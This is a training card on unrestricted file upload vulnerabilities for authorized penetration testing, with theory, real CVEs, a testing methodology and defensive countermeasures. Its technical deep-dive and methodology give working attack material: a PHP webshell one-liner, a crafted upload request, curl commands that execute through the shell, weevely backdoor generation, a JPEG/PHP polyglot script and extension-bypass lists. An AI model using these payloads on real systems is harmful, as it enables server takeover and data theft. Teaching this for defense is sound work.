Unrestricted file upload
Theory
Why This Matters
Unrestricted file upload remains one of the most reliably exploitable classes of vulnerability in web applications. CVE-2023-22515 (Confluence Data Center) allowed unauthenticated attackers to upload files that seeded an admin account creation; CVE-2021-22205 (GitLab) used an image upload endpoint backed by ExifTool to achieve unauthenticated remote code execution and was actively exploited by criminal groups within weeks of disclosure. The common thread: the application accepted a file from an untrusted client, stored it in a web-accessible or interpreter-accessible location, and made no server-side verification that the file content was safe to process or serve.
Core Concept
A file upload vulnerability exists when an application allows a client to supply a file that is subsequently stored in a location where the web server will execute or process its contents, without adequately verifying that the content is safe. The fundamental violated invariant is: file storage and code execution must be completely separate concerns. An attacker who can store an executable file in the web root and then issue an HTTP request that causes the server to interpret it has achieved Remote Code Execution (RCE).
Client-side validation — JavaScript checks on file extension or MIME type — provides zero security because an attacker controls the browser and can bypass all client-side logic using a proxy. Even if the browser enforces accept=".jpg", an intercepted multipart request can contain any filename and any bytes.
Server-side validation can be performed at three layers of increasing reliability:
- Content-Type header inspection — trivially bypassed; the client sets this header.
- File extension allowlist/denylist — partially reliable depending on implementation; many bypasses exist (see Card 3).
- Magic byte / file signature inspection — reading the first N bytes of the uploaded data and matching against known signatures (e.g.,
FF D8 FFfor JPEG,89 50 4E 47for PNG) usingfinfo_file()in PHP or Python'spython-magic. This is the most robust approach but must be combined with storage outside the web root and a separate serving mechanism.
The execution context is critical. A PHP file stored in /var/www/html/uploads/shell.php is executable by the web server if the directory has execute permissions. A PHP file stored in /var/uploads/ outside the document root is not directly reachable. Even within the web root, files in directories served with php_admin_flag engine Off will not be interpreted.
A webshell is a minimal script that accepts OS commands via HTTP parameter and returns their output. The classic PHP one-liner <?php system($_GET['cmd']); ?> fits in 30 bytes.
Technical Deep-Dive
# Step 1 — Intercept a legitimate upload with Burp Suite
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----Boundary7MA4YWxkTrZu0gW
------Boundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary7MA4YWxkTrZu0gW--
# Step 2 — After upload confirm path from response or guess common locations
# Typical upload directories: /uploads/, /files/, /media/, /assets/
curl "https://target.example.com/uploads/shell.php?cmd=id"
# Expected: uid=33(www-data) gid=33(www-data)
# Step 3 — Upgrade to weevely for interactive session
weevely generate s3cr3tpass /tmp/agent.php
# Then upload agent.php via same technique
weevely "https://target.example.com/uploads/agent.php" s3cr3tpass
# Step 4 — Polyglot (valid JPEG + valid PHP) to bypass magic byte check
# Build: prepend valid JPEG header, append PHP code
python3 - <<'EOF'
data = open("real.jpg", "rb").read()
payload = b"
<?php system($_GET['c']); ?>"
open("polyglot.php.jpg", "wb").write(data + payload)
EOF
# Upload as polyglot.php.jpg; if server executes .jpg as PHP (misconfigured
# Apache AddHandler), payload runs. Or exploit double-extension parsing.
# Step 5 — Null byte bypass (PHP < 5.3.4)
# Filename: shell.php%00.jpg → server sees .jpg, PHP truncates at null
# In Burp Repeater: set filename field to shell.phpx00.jpg (hex editor)
Security Assessment Methodology
- Locate upload endpoints — Spider the application with Burp Suite (Proxy > Target > Site map). Search source HTML for
<input type="file">andenctype="multipart/form-data". Check API documentation for file-accepting endpoints. - Baseline a legitimate upload — Upload an allowed file type (e.g.,
image.jpg) and capture the request in Burp Repeater. Note theContent-Typeheader, filename parameter, and response (including any reflected path). - Test content-type bypass — Duplicate the request; change only the
Content-Typeheader toimage/jpegwhile the file body contains PHP code. Observe whether the server accepts it. - Test extension bypass variants — Enumerate:
.php,.php5,.phtml,.pHP,.Php,.php;.jpg,.php.jpg,.php%00.jpg. Use Burp Intruder with an extension wordlist. - Test polyglot payload — Embed
<?php system($_GET['c']); ?>after a valid JPEG header. Upload aspolyglot.jpg. Then request/uploads/polyglot.jpg?c=idand inspect response for command output. - Confirm execution context — If the shell responds, verify full RCE with
id,hostname,cat /etc/passwd. Use weevely or a reverse shell for interactive access. - Document findings — Record bypass technique, upload path, execution proof, and CVSS score.
Defensive Countermeasure — Store all uploads outside the document root and serve them through a controller that streams bytes with a forced
Content-Disposition: attachmentheader. Validate file content with a server-side library (finfo_file,python-magic) against an allowlist of magic byte signatures. Rename every uploaded file to a UUID with no extension. Configure the upload directory withphp_admin_flag engine Off(Apache) orlocation ~ ^/uploads { deny all; }(Nginx) as defense-in-depth.
Common Assessment Errors
- Stopping after a 200 response — A server can return 200 and store the file without making it executable. Always confirm RCE by actually requesting the uploaded file and observing command output.
- Only testing the obvious extension — Many filters block
.phpbut miss.php5,.phtml, or case variants. Always run the full extension bypass list before concluding the endpoint is safe. - Missing the execution directory constraint — If uploads land outside the web root, extension and content-type bypasses are moot. Verify the storage path from the response or by directory enumeration before investing time in payload crafting.
- Forgetting to check configured handlers — An Apache server with
AddHandler application/x-httpd-php .php .jpgexecutes.jpgfiles as PHP. Always test execution of the exact stored extension, not just.php. - Using interactive webshells in scope-limited tests — weevely and similar tools generate significant log noise and persistent artefacts. Confirm with the client whether interactive shell access is in scope before deploying.
- Skipping magic byte validation testing — A server that checks magic bytes but not extension can still be bypassed with a polyglot. Test both layers independently.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Builds deep understanding of file upload as a RCE attack surface |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Connects upload flaws to real breach outcomes and CVE patterns |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains systematic enumeration of upload bypass variants |
| S0044 | Skill in mimicking threat behaviors to test defenses | Develops adversarial mindset for constructing polyglot and double-extension payloads |
| T0028 | Conduct and support authorized penetration testing on enterprise networks | Provides a complete methodology from endpoint discovery through RCE confirmation |
| T0591 | Perform penetration testing as required for new or updated applications | Frames upload testing as a required step in application security assessments |
Further Reading
- OWASP Testing Guide v4.2, Section 4.8.9 — Testing for Unrestricted File Upload (OWASP Foundation)
- "ExifTool RCE CVE-2021-22205 Analysis" — GitLab Security Blog
- Acunetix: File Upload Vulnerabilities — Web Application Security Reference
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.